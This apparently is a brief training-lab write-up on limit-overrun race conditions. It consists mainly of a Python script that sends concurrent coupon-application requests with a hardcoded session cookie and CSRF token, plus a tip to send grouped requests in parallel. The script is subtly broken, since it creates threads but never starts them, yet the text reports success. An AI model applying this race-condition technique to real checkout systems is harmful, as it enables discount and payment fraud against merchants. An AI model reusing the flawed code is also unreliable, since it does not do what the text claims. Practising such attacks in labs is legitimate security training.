Skip to content

Race conditions

Lab: Limit overrun race conditions

#!/bin/python
import requests;
from threading import Thread;

def session_concurrency():
    header={
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": "session=T87ijioANp5FKgiSGz2crrXsHKSblFwH",
        "Connection": "keep-alive"
    }

    data="csrf=GcfEh08lO21x2QArtkTcH0ARVaHRfEpY&coupon=PROMO20"

    returndata = requests.post(url="https://0adf00490368d39980513ad700f6009c.web-security-academy.net/cart/coupon", headers=header, data=data)
    print(returndata)

if __name__ == "__main__":
    for x in range(30):
        thread = Thread(target=session_concurrency)

Use the script, got two cupons applied at the same time. Try to bundle 12 requests in Repeater as a group, and send them parallelly.